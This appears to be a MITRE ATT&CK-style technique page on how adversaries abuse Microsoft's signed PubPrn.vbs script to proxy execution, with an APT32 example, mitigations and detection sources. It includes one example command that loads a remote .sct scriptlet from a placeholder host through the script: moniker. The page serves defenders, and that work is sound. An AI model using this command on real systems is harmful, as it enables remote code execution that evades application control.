Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.[1]
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.[2] To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
| ID | Name | Description |
|---|---|---|
| G0050 | APT32 |
APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.[3] |
| ID | Mitigation | Description |
|---|---|---|
| M1040 | Behavior Prevention on Endpoint |
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.[4] |
| M1038 | Execution Prevention |
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries. |
| ID | Data Source | Data Component |
|---|---|---|
| DS0017 | Command | Command Execution |
| DS0009 | Process | Process Creation |
| DS0012 | Script | Script Execution |
Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.